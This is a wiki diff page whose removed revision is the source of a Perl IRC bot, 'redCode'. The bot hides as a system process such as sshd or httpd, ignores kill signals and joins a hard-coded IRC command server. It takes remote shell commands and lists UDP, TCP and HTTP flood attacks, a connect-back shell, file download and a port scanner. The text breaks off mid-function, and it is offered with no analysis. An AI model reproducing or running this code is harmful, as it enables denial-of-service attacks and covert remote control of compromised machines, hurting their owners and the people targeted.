User Tools

Site Tools


Differences

This shows you the differences between two versions of the page.

Link to this comparison view

Next revision
Previous revision
1 [2019-06-21 14:14]
127.0.0.1 external edit
— (current)
Line 1: Line 1:
-<code perl 1.pl> 
-#​!/​usr/​bin/​perl 
- 
- 
- 
-my @rps = ("/​usr/​local/​apache/​bin/​httpd -DSSL",​ 
- 
-    "/​usr/​sbin/​httpd -k start -DSSL",​ 
- 
-           "/​usr/​sbin/​httpd",​ 
- 
-    "/​usr/​sbin/​sshd -i", 
- 
-    "/​usr/​sbin/​sshd",​ 
- 
-        "/​usr/​sbin/​sshd -D", 
- 
-           "/​usr/​sbin/​apache2 -k start",​ 
- 
-        "/​sbin/​syslogd",​ 
- 
-        "/​sbin/​klogd -c 1 -x -x", 
- 
-    "/​usr/​sbin/​acpid",​ 
- 
-    "/​usr/​sbin/​cron"​);​ 
- 
-my $process = $rps[rand scalar @rps]; 
- 
- 
- 
-my @rversion = ("​\001VERSION - unknown command.\001",​ 
- 
- "​\001mIRC v5.91 K.Mardam-Bey\001",​ 
- 
- "​\001mIRC v6.2 Khaled Mardam-Bey\001",​ 
- 
- "​\001mIRC v6.03 Khaled Mardam-Bey\001",​ 
- 
- "​\001mIRC v6.14 Khaled Mardam-Bey\001",​ 
- 
- "​\001mIRC v6.15 Khaled Mardam-Bey\001",​ 
- 
- "​\001mIRC v6.16 Khaled Mardam-Bey\001",​ 
- 
- "​\001mIRC v6.17 Khaled Mardam-Bey\001",​ 
- 
- "​\001mIRC v6.21 Khaled Mardam-Bey\001",​ 
- 
- "​\001mIRC v6.31 Khaled Mardam-Bey\001",​ 
- 
- "​\001mIRC v7.15 Khaled Mardam-Bey\001"​);​ 
- 
-my $vers = $rversion[rand scalar @rversion]; 
- 
- 
- 
-my @rircname = ("​abbore","​ably","​abyss","​acrima","​aerodream","​afkdemon","​ainthere","​alberto","​alexia","​alexndra",​ 
- 
- "​alias","​alikki","​alphaa","​alterego","​alvin","​ambra","​amed","​andjela","​andreas","​anja",​ 
- 
- "​anjing","​anna","​apeq","​arntz","​arskaz","​as","​asmodizz","​asssa","​athanas","​aulis",​ 
- 
- "​aus","​bar","​bast","​bedem","​beeth","​bella","​birillo","​bizio","​blackhand","​blacky",​ 
- 
- "​blietta","​blondenor","​blueangel","​bluebus","​bluey","​bobi","​bopoh","​borre","​boy","​bram",​ 
- 
- "​brigitta","​brio","​brrrweg","​brujah","​caprcorn","​carloto","​catgirl","​cathren","​cemanmp","​chainess",​ 
- 
- "​chaingone","​chck","​chriz","​cigs","​cintat","​clarissa","​clbiz","​clex","​cobe","​cocker",​ 
- 
- "​coke","​colin","​conan","​condoom","​coop","​coopers","​corvonero","​countzero","​cracker","​cread",​ 
- 
- "​crnaruka","​cruizer","​cubalibre","​cure","​custodes","​dan","​dangelo","​danic","​daniela","​dario",​ 
- 
- "​darker","​darknz","​davide","​daw","​demigd","​des","​devastor","​diabolik","​dimkam","​dital",​ 
- 
- "​djtt","​dogzzz","​dolfi","​dolphin","​dottmorte","​dracon","​dragon","​drtte","​dumbblnd","​dusica",​ 
- 
- "​ebe","​edgie","​eggist","​einaimou","​elef","​elly","​emmi","​encer","​engerim","​erixon",​ 
- 
- "​eurotrash","​fairsight","​fin","​fireaway","​fjortisch","​floutti","​fluffer","​flum","​forever","​fqw",​ 
- 
- "​fra","​freem","​freew","​freud","​funny","​furia","​furunkuli","​fwsmou","​gad","​gamppy",​ 
- 
- "​gerhard","​ghostie","​gili","​girlie","​giugno","​gizmo","​glidaren","​gold","​gomora","​gracie",​ 
- 
- "​grave","​graz","​grron","​gsund","​gufoao","​hali","​hallas","​hammer","​harri","​harry",​ 
- 
- "​hayes","​hazor","​herbiez","​hlios","​hoffi","​honeii","​hongkong","​hug","​iasv","​ibanez",​ 
- 
- "​ibanz","​ibar","​igi","​illusins","​imp","​inkworks","​iplord","​ivan","​ja","​jaffa",​ 
- 
- "​jaimeafk","​james","​jamezdin","​janet","​janne","​jason","​javagrl","​jayc","​jazz",​ 
- 
- "​jejborta","​jester","​jj","​jn","​jockey","​joe","​joelbitar","​johannes","​johndow","​johnny",​ 
- 
- "​joni","​jonni","​jornx","​joshua","​jossumi","​judy","​juge","​juha","​juhas","​julze",​ 
- 
- "​juutsu","​kajman","​kalca","​kamileon","​kardinal","​kasandra","​katarina","​kaviee","​kbee","​ken",​ 
- 
- "​keung","​kewin","​khan","​kikeli","​kikii","​kilroi","​kiwi","​klaara","​kliimax","​klimas",​ 
- 
- "​kode","​kojv","​koopal","​kralj","​krash","​krista","​kronos","​ktx","​kungen","​kuppa",​ 
- 
- "​kurai","​lala","​lamour","​latina","​legend","​lenisaway","​lily","​linda","​lingyee","​linux",​ 
- 
- "​lisa","​lisha","​litta","​littleboy","​liverpoo","​liyen","​liz","​liza","​lonely","​lonelygal",​ 
- 
- "​lonewolf","​lopez","​lordie","​lovebyte","​lph","​luarbiasa","​lucignol","​lullaby","​lunatic","​luny",​ 
- 
- "​lupo","​mac","​macesgl","​madd","​mailman","​malkav","​malr","​mamakians","​mamaw","​manarimou",​ 
- 
- "​manarisou","​maradona","​marakana","​marco","​marillion","​mark","​mary","​master","​maurino","​max",​ 
- 
- "​mcalcota","​melanie","​melinda","​meph","​mephisto","​mg","​mhj","​mhz","​mig","​miina",​ 
- 
- "​mika","​mikav","​mike","​mikemcgii","​mikko","​mikma","​mimma","​miss","​moladmin","​monikaw",​ 
- 
- "​monkeyboy","​monroe","​monstop","​mooks","​mordeshur","​mpdike","​mrbate","​mrbeauty","​mrblom","​mrbx",​ 
- 
- "​mrjee","​mro","​mrtabizy","​mrx","​mrxx","​msd","​mu","​muimui","​musashi","​musc",​ 
- 
- "​musce","​musicgal","​muti","​myboy","​mystr","​mythic","​mywife","​nallllle","​nanask","​natalie",​ 
- 
- "​natborta","​ncubus","​neutrino","​niceguy","​nico","​niklas","​nimfa","​nino","​nurul","​obiwanbip",​ 
- 
- "​ogre","​olivia","​omega","​only","​orac","​orace","​oranzzzzz","​organza","​ourlove","​outworld",​ 
- 
- "​outzake","​oxygn","​paliadog","​pazarac","​permaloso","​perroz","​pessaar","​phre","​phreaky","​pihkal",​ 
- 
- "​pinball","​poesje","​poison","​poofie","​popy","​powerpc","​pper","​primera","​primetime","​proxyma",​ 
- 
- "​pshyche","​psioncore","​psiximou","​psixisou","​psychosis","​psyidle","​pszaah","​puppetm","​pzzzz",​ 
- 
- "​quattro","​question","​ra","​ragio","​ragnetto","​raiden","​raindance","​raistln","​ranu","​raska",​ 
- 
- "​raul","​raye","​reartu","​red","​reflect","​ribica","​richard","​rick","​rigo","​rikuta",​ 
- 
- "​rikuxr","​rita","​rix","​rob","​roku","​ronaldo","​ronwrl","​roticanai","​rugiada","​ruthless",​ 
- 
- "​saalut","​sammi","​sand","​satanins","​schzsh","​scorpin","​sealink","​sean","​secret","​serpentor",​ 
- 
- "​servant","​sethi","​sexbolek","​sexyman","​sharmm","​shearer","​shekel","​shio","​shortys","​shred",​ 
- 
- "​sidewalk","​sil","​siren","​skar","​skill","​skru","​sky","​skygun","​skylink","​slaktarn",​ 
- 
- "​slash","​slgon","​smarties","​smck","​snake","​snike","​snoopgirl","​sodoma","​sopocani","​sorceress",​ 
- 
- "​spacebbl","​spacedump","​spanker","​spermboy","​spirtouli","​srk","​stazzz","​steve","​stinga","​stj",​ 
- 
- "​stjf","​studenica","​stussy","​suez","​suhoj","​sukun","​sunsola","​surfer","​sutera","​svearike",​ 
- 
- "​sweetii","​sweetlady","​sweklopi","​swepilot","​switch","​syncphos","​szern","​takumura","​tallaxlc","​tampone",​ 
- 
- "​tarabas","​tatano","​tato","​tennis","​tenx","​terence","​terkukur","​tero","​thefox","​thesint",​ 
- 
- "​timer","​timewalk","​tmhd","​tnxfck","​to","​tomihki","​tommy","​topo","​triumph","​trustme",​ 
- 
- "​tungau","​tupac","​turbozzzz","​turing","​tvrdjava","​tysn","​unicron","​uoff","​uptimer","​utopia",​ 
- 
- "​vader","​vaismi","​vajje","​vanda","​varjo","​vass","​vento","​venusguy","​vertie","​viagara",​ 
- 
- "​vicious","​vidxxx","​virex","​vodafone","​vone","​vrgnie","​vuubeibe","​wanderer","​warrr","​wasabboy",​ 
- 
- "​weebee","​wellu","​wendy","​whiskey","​willgood","​wing","​winny","​wknight","​wlly","​wolfman",​ 
- 
- "​wow","​wp","​xarasou","​xtreme","​xxx","​xzone","​yakzr","​yang","​yashy","​yasin",​ 
- 
- "​yenyen","​ykbug","​yogiebear","​zai","​zfstr","​zinj","​zizu","​zvezda","​zwimou","​zwisou",​ 
- 
- "​zwsiew","​zwsiewale"​);​ 
- 
- 
- 
-my $ircname = $rircname[rand scalar @rircname]; 
- 
- 
- 
-## my @rrealname = ("​firebat"​);​ 
- 
-## chop (my $realname = $rrealname[rand scalar @rrealname]);​ 
- 
- 
- 
-chop (my $realname = $rircname[rand scalar @rircname]);​ 
- 
- 
- 
-## my @nickname = ("​drops"​);​ 
- 
-## my $nick =$nickname[rand scalar @nickname]; 
- 
- 
- 
-my $nick =$rircname[rand scalar @rircname]; 
- 
- 
- 
-$server = '​37.187.20.82'​ unless $server; 
- 
-my $port = '​6667';​ 
- 
- 
- 
-my $linas_max='​8';​ 
- 
-my $sleep='​5';​ 
- 
- 
- 
-my $homedir = "/​tmp/​dbs";​ 
- 
-my $version = '​redCode';​ 
- 
- 
- 
-my @admins = ("​S","​X"​);​ 
- 
-my @hostauth = ("​yes.no"​);​ 
- 
-my @channels = ("#​1"​);​ 
- 
- 
- 
-my $pacotes = 1; 
- 
- 
- 
-#################################################################​ 
- 
-##### [ stop editing if you dont know what are you doing! ] ##### 
- 
-#################################################################​ 
- 
- 
- 
-$SIG{'​INT'​} = '​IGNORE';​ 
- 
-$SIG{'​HUP'​} = '​IGNORE';​ 
- 
-$SIG{'​TERM'​} = '​IGNORE';​ 
- 
-$SIG{'​CHLD'​} = '​IGNORE';​ 
- 
-$SIG{'​PS'​} = '​IGNORE';​ 
- 
- 
- 
-use Socket; 
- 
-use IO::Socket; 
- 
-use IO::​Socket::​INET;​ 
- 
-use IO::Select; 
- 
- 
- 
-chdir("​$homedir"​);​ 
- 
- 
- 
-$server="​$ARGV[0]"​ if $ARGV[0]; 
- 
-$0="​$process"​."​\0"​x16;;​ 
- 
-my $pid=fork; 
- 
-exit if $pid; 
- 
-die "​can'​t fork in background: $!" unless defined($pid);​ 
- 
- 
- 
-our %irc_servers;​ 
- 
-our %DCC; 
- 
-my $dcc_sel = new IO::​Select->​new();​ 
- 
-$sel_cliente = IO::​Select->​new();​ 
- 
-sub sendraw { 
- 
-  if ($#_ == '​1'​) { 
- 
-    my $socket = $_[0]; 
- 
-    print $socket "​$_[1]\n";​ 
- 
-  } else { 
- 
-    print $IRC_cur_socket "​$_[0]\n";​ 
- 
-  } 
- 
-} 
- 
- 
- 
-sub getstore ($$) 
- 
-{ 
- 
-  my $url = shift; 
- 
-  my $file = shift; 
- 
-  $http_stream_out = 1; 
- 
-  open(GET_OUTFILE,​ "> $file"​);​ 
- 
-  %http_loop_check = (); 
- 
-  _get($url); 
- 
-  close GET_OUTFILE;​ 
- 
-  return $main::​http_get_result;​ 
- 
-} 
- 
- 
- 
-sub _get 
- 
-{ 
- 
-  my $url = shift; 
- 
-  my $proxy = "";​ 
- 
-  grep {(lc($_) eq "​http_proxy"​) && ($proxy = $ENV{$_})} keys %ENV; 
- 
-  if (($proxy eq ""​) && $url =~ m,​^http://​([^/:​]+)(?::​(\d+))?​(/​\S*)?​$,​) { 
- 
-    my $host = $1; 
- 
-    my $port = $2 || 80; 
- 
-    my $path = $3; 
- 
-    $path = "/"​ unless defined($path);​ 
- 
-    return _trivial_http_get($host,​ $port, $path); 
- 
-  } elsif ($proxy =~ m,​^http://​([^/:​]+):​(\d+)(/​\S*)?​$,​) { 
- 
-    my $host = $1; 
- 
-    my $port = $2; 
- 
-    my $path = $url; 
- 
-    return _trivial_http_get($host,​ $port, $path); 
- 
-  } else { 
- 
-    return undef; 
- 
-  } 
- 
-} 
- 
- 
- 
- 
- 
-sub _trivial_http_get 
- 
-{ 
- 
-  my($host, $port, $path) = @_; 
- 
-  my($AGENT, $VERSION, $p); 
- 
-  $AGENT = "​get-minimal";​ 
- 
-  $VERSION = "​20000118";​ 
- 
-  $path =~ s/ /%20/g; 
- 
- 
- 
-  require IO::Socket; 
- 
-  local($^W) = 0; 
- 
-  my $sock = IO::​Socket::​INET->​new(PeerAddr => $host, 
- 
-                                   ​PeerPort => $port, 
- 
-                                   ​Proto ​  => '​tcp',​ 
- 
-                                   ​Timeout ​ => 60) || return; 
- 
-  $sock->​autoflush;​ 
- 
-  my $netloc = $host; 
- 
-  $netloc .= ":​$port"​ if $port != 80; 
- 
-  my $request = "GET $path HTTP/​1.0\015\012"​ 
- 
-              . "Host: $netloc\015\012"​ 
- 
-              . "​User-Agent:​ $AGENT/​$VERSION/​u\015\012";​ 
- 
-  $request .= "​Pragma:​ no-cache\015\012"​ if ($main::​http_no_cache);​ 
- 
-  $request .= "​\015\012";​ 
- 
-  print $sock $request; 
- 
- 
- 
-  my $buf = "";​ 
- 
-  my $n; 
- 
-  my $b1 = "";​ 
- 
-  while ($n = sysread($sock,​ $buf, 8*1024, length($buf))) { 
- 
-    if ($b1 eq ""​) { 
- 
-      $b1 = $buf; 
- 
-      $buf =~ s/​.+?​\015?​\012\015?​\012//​s;​ 
- 
-    } 
- 
-    if ($http_stream_out) { print GET_OUTFILE $buf; $buf = "";​ } 
- 
-  } 
- 
-  return undef unless defined($n);​ 
- 
-  $main::​http_get_result = 200; 
- 
-  if ($b1 =~ m,​^HTTP/​\d+\.\d+\s+(\d+)[^\012]*\012,​) { 
- 
-    $main::​http_get_result = $1; 
- 
-    if ($main::​http_get_result =~ /^30[1237]/ && $b1 =~ /​\012Location:​\s*(\S+)/​) { 
- 
-      my $url = $1; 
- 
-      return undef if $http_loop_check{$url}++;​ 
- 
-      return _get($url); 
- 
-    } 
- 
-    return undef unless $main::​http_get_result =~ /^2/; 
- 
-  } 
- 
- 
- 
-  return $buf; 
- 
-} 
- 
- 
- 
-sub conectar { 
- 
-  my $meunick = $_[0]; 
- 
-  my $server_con = $_[1]; 
- 
-  my $port_con = $_[2]; 
- 
-  my $IRC_socket = IO::​Socket::​INET->​new(Proto=>"​tcp",​ PeerAddr=>"​$server_con",​ 
- 
-  PeerPort=>​$port_con) or return(1); 
- 
-  if (defined($IRC_socket)) { 
- 
-    $IRC_cur_socket = $IRC_socket;​ 
- 
-    $IRC_socket->​autoflush(1);​ 
- 
-    $sel_cliente->​add($IRC_socket);​ 
- 
-    $irc_servers{$IRC_cur_socket}{'​host'​} = "​$server_con";​ 
- 
-    $irc_servers{$IRC_cur_socket}{'​port'​} = "​$port_con";​ 
- 
-    $irc_servers{$IRC_cur_socket}{'​nick'​} = $meunick; 
- 
-    $irc_servers{$IRC_cur_socket}{'​meuip'​} = $IRC_socket->​sockhost;​ 
- 
-    nick("​$meunick"​);​ 
- 
-    sendraw("​USER $ircname "​.$IRC_socket->​sockhost."​ $server_con :​$realname"​);​ 
- 
-    sleep 1; 
- 
-  } 
- 
-} 
- 
- 
- 
-my $line_temp; 
- 
-while( 1 ) { 
- 
-  while (!(keys(%irc_servers))) { conectar("​$nick",​ "​$server",​ "​$port"​);​ } 
- 
-  delete($irc_servers{''​}) if (defined($irc_servers{''​}));​ 
- 
-  my @ready = $sel_cliente->​can_read(0);​ 
- 
-  next unless(@ready);​ 
- 
-  foreach $fh (@ready) { 
- 
-    $IRC_cur_socket = $fh; 
- 
-    $meunick = $irc_servers{$IRC_cur_socket}{'​nick'​};​ 
- 
-    $nread = sysread($fh,​ $msg, 4096); 
- 
-    if ($nread == 0) { 
- 
-      $sel_cliente->​remove($fh);​ 
- 
-      $fh->​close;​ 
- 
-      delete($irc_servers{$fh});​ 
- 
-    } 
- 
-    @lines = split (/\n/, $msg); 
- 
-    for(my $c=0; $c<= $#lines; $c++) { 
- 
-      $line = $lines[$c]; 
- 
-      $line=$line_temp.$line if ($line_temp);​ 
- 
-      $line_temp='';​ 
- 
-      $line =~ s/\r$//; 
- 
-      unless ($c == $#lines) { 
- 
-        parse("​$line"​);​ 
- 
-        } else { 
- 
-        if ($#lines == 0) { 
- 
-          parse("​$line"​);​ 
- 
-          } elsif ($lines[$c] =~ /\r$/) { 
- 
-          parse("​$line"​);​ 
- 
-          } elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) { 
- 
-          parse("​$line"​); ​ 
- 
-        } else { 
- 
-      $line_temp = $line; 
- 
-        } 
- 
-      } 
- 
-    } 
- 
-  } 
- 
-} 
- 
- 
- 
-sub parse { 
- 
-  my $servarg = shift; 
- 
-  if ($servarg =~ /^PING \:(.*)/) { 
- 
-    sendraw("​PONG :$1"); 
- 
-    } elsif ($servarg =~ /​^\:​(.+?​)\!(.+?​)\@(.+?​) PRIVMSG (.+?) \:(.+)/) { 
- 
-    my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5; 
- 
-    if ($args =~ /​^\001VERSION\001$/​) { 
- 
-      notice("​$pn",​ ""​.$vers.""​);​ 
- 
-    } 
- 
- if (grep {$_ =~ /​^\Q$hostmask\E$/​i } @hostauth) { 
- 
-    if (grep {$_ =~ /​^\Q$pn\E$/​i } @admins ) { 
- 
-    if ($onde eq "​$meunick"​){ 
- 
-    shell("​$pn",​ "​$args"​);​ 
- 
-  } 
- 
-  if ($args =~ /​^(\Q$meunick\E|\!u)\s+(.*)/​ ) { 
- 
-    my $natrix = $1; 
- 
-    my $arg = $2; 
- 
-    if ($arg =~ /^\!(.*)/) { 
- 
-      ircase("​$pn","​$onde","​$1"​);​ 
- 
-      } elsif ($arg =~ /^\@(.*)/) { 
- 
-      $ondep = $onde; 
- 
-      $ondep = $pn if $onde eq $meunick; 
- 
-      bfunc("​$ondep","​$1"​);​ 
- 
-      } else { 
- 
-      shell("​$onde",​ "​$arg"​);​ 
- 
-    } 
- 
-  } 
- 
-} 
- 
-} 
- 
-} 
- 
- 
- 
-elsif ($servarg =~ /​^\:​(.+?​)\!(.+?​)\@(.+?​)\s+NICK\s+\:​(\S+)/​i) { 
- 
-  if (lc($1) eq lc($meunick)) { 
- 
-  $meunick=$4;​ 
- 
-  $irc_servers{$IRC_cur_socket}{'​nick'​} = $meunick; 
- 
-  } 
- 
-  } elsif ($servarg =~ m/​^\:​(.+?​)\s+433/​i) { 
- 
-  nick("​$meunick-"​.int rand(9999));​ 
- 
-  } elsif ($servarg =~ m/​^\:​(.+?​)\s+001\s+(\S+)\s/​i) { 
- 
-  $meunick = $2; 
- 
-  $irc_servers{$IRC_cur_socket}{'​nick'​} = $meunick; 
- 
-  $irc_servers{$IRC_cur_socket}{'​nome'​} = "​$1";​ 
- 
-  foreach my $canal (@channels) { 
- 
- sendraw("​MODE $nick +x"); 
- 
-    sendraw("​JOIN $canal"​);​ 
- 
- sendraw("​PRIVMSG $canal :​2!"​);​ 
- 
-} 
- 
-} 
- 
-} 
- 
- 
- 
-sub bfunc { 
- 
-my $printl = $_[0]; 
- 
-my $funcarg = $_[1]; 
- 
-  if (my $pid = fork) { 
- 
-  waitpid($pid,​ 0); 
- 
-  } else { 
- 
-  if (fork) { 
- 
-  exit; 
- 
-  } else { 
- 
-###########################​ 
- 
-##### [ Help Module ] ##### 
- 
-###########################​ 
- 
- 
- 
-if ($funcarg =~ /^help/) { 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :​2======================= "); 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2     DDoS main help     ​"​);​ 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :​2======================= "); 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2!u 12@2system ​             "); 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2!u 12@2version ​            ​"​);​ 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2!u 12@2channel ​            ​"​);​  
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2!u 12@2flood ​              ​"​);​ 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2!u 12@2utils ​              ​"​);​  
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :​2======================= "); 
- 
-} 
- 
- 
- 
-if ($funcarg =~ /^system/) { 
- 
- $uptime=`uptime`;​ 
- 
- $ownd=`pwd`; ​ 
- 
- $id=`id`; 
- 
- $uname=`uname -srp`; 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :​2=================== "); 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2 Bot configuration ​ "); 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :​2=================== "); 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :​2*Server ​      : 12$server ");  
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :​2*Port ​        : 12$port "); 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :​2*Channels ​    : 12@channels "); 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2*uname -a     : 12$uname "); 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :​2*uptime ​      : 12$uptime "); 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :​2*FakeProcess ​ : 12$process "); 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :​2*ProcessPID ​  : 12$$ "); 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :​2*ID ​          : 12$id "); 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2*Own Dir      : 12$ownd "); 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :​2=================== "); 
- 
-} 
- 
- 
- 
-if ($funcarg =~ /​^version/​){ 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :​2================================== "); 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2          Bot information ​         "); 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :​2================================== "); 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2Version : 12$version ​  ​"​);​ 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :​2================================== "); 
- 
-} 
- 
- 
- 
-if ($funcarg =~ /^flood/) { 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :​2========================================= "); 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2                DDoS help                 ​"​);​ 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :​2========================================= "); 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2!u 12@2udp1 <ip> <​port>​ <​time> ​              ​"​);​ 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2!u 12@2udp2 <ip> <packet size> <​time> ​       "); 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2!u 12@2udp3 <ip> <​port>​ <​time> ​              ​"​);​ 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2!u 12@2tcp <ip> <​port>​ <packet size> <​time> ​ "); 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2!u 12@2http <​site>​ <​time> ​                   "); 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2!u 12@2ctcpflood <​nick> ​                     "); 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2!u 12@2msgflood <​nick> ​                      ​"​);​ 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2!u 12@2noticeflood <​nick> ​                   "); 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :​2========================================= "); 
- 
-} 
- 
- 
- 
-if ($funcarg =~ /^channel/) { 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :​2============================= "); 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2         ​Channel help         ​"​);​ 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :​2============================= "); 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2!u 12@2join <​channel> ​           "); 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2!u 12@2part <​channel> ​           "); 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2!u 12!2rejoin <​channel> ​         "); 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2!u 12!2op <​channel>​ <​nick> ​      ​"​);​ 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2!u 12!2deop <​channel>​ <​nick> ​    ​"​);​  
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2!u 12!2voice <​channel>​ <​nick> ​   "); 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2!u 12!2devoice <​channel>​ <​nick> ​ "); 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2!u 12!2nick <​newnick> ​           "); 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2!u 12!2msg <​nick> ​               "); 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2!u 12!2quit ​                     ");  
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2!u 12!2die ​                      ​"​);​ 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :​2============================= "); 
- 
-} 
- 
- 
- 
-if ($funcarg =~ /^utils/) { 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :​2================================================== "); 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2                  Utilities help                   ​"​);​ 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :​2================================================== "); 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2!u 12@2cback <ip> <​port> ​                             ");  
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2!u 12@2download <​url+path>​ <​file> ​                    ​"​);​  
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2!u 12@2mail <​subject>​ <​sender>​ <​recipient>​ <​message> ​ "); 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2!u 12@2dns <​ip> ​                                      ​"​);​  
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2!u 12@2port <ip> <​port> ​                              ​"​);​ 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2!u 12@2portscan <​ip> ​                                 ");  
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2!u pwd (for example) ​                              ​"​);​ 
- 
- sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :​2================================================== "); 
- 
-} 
- 
- 
- 
-#########################​ 
- 
-##### [ Functions ] ##### 
- 
-#########################​ 
- 
- 
- 
-if ($funcarg =~ /^die/) { 
- 
- sendraw($IRC_cur_socket,​ "QUIT :"); 
- 
- $killd = "kill -9 "​.fork;​ 
- 
- system (`$killd`); 
- 
-} 
- 
-###########​  
- 
-if ($funcarg =~ /^join (.*)/) { 
- 
- sendraw($IRC_cur_socket,​ "JOIN ".$1); 
- 
-} 
- 
- 
- 
-if ($funcarg =~ /^part (.*)/) { 
- 
- sendraw($IRC_cur_socket,​ "PART ".$1); 
- 
-} 
- 
-########### 
- 
-if ($funcarg =~ /^portscan (.*)/) { 
- 
-  my $hostip="​$1";​ 
- 
-  my @portas=("​1","​7","​9","​14","​20","​21","​22","​23","​25","​53","​80","​88","​110","​112","​113","​137","​143","​145","​222","​333","​405","​443","​444","​445","​512","​587","​616","​666","​993","​995","​1024","​1025","​1080","​1144","​1156","​1222","​1230","​1337","​1348","​1628","​1641","​1720","​1723","​1763","​1983","​1984","​1985","​1987","​1988","​1990","​1994","​2005","​2020","​2121","​2200","​2222","​2223","​2345","​2360","​2500","​2727","​3130","​3128","​3137","​3129","​3303","​3306","​3333","​3389","​4000","​4001","​4471","​4877","​5252","​5522","​5553","​5554","​5642","​5777","​5800","​5801","​5900","​5901","​6062","​6550","​6522","​6600","​6622","​6662","​6665","​6666","​6667","​6969","​7000","​7979","​8008","​8080","​8081","​8082","​8181","​8246","​8443","​8520","​8787","​8855","​8880","​8989","​9855","​9865","​9997","​9999","​10000","​10001","​10010","​10222","​11170","​11306","​11444","​12241","​12312","​14534","​14568","​15951","​17272","​19635","​19906","​19900","​20000","​21412","​21443","​21205","​22022","​30999","​31336","​31337","​32768","​33180","​35651","​36666","​37998","​41114","​41215","​44544","​45055","​45555","​45678","​51114","​51247","​51234","​55066","​55555","​65114","​65156","​65120","​65410","​65500","​65501","​65523","​65533"​);​ 
- 
-  my (@aberta, %porta_banner);​ 
- 
-  sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2scanning for open ports on 12"​.$1."​ 2started. "); 
- 
-  foreach my $porta (@portas) ​ { 
- 
-    my $scansock = IO::​Socket::​INET->​new(PeerAddr => $hostip, PeerPort => $porta, Proto => '​tcp',​ Timeout => 4); 
- 
-    if ($scansock) { 
- 
-      push (@aberta, $porta); 
- 
-      $scansock->​close;​ 
- 
-    } 
- 
-  } 
- 
-  if (@aberta) { 
- 
-    sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2open ports found: 12@aberta "); 
- 
-    } else { 
- 
-    sendraw($IRC_cur_socket,​ "​PRIVMSG $printl :2no open ports found. "); 
- 
-  } 
- 
-} 
- 
-##############​ 
- 
-if ($funcarg =~ /​^download\s+(.*)\s+(.*)/​) { 
- 
- getstore("​$1",​ "​$2"​);​ 
- 
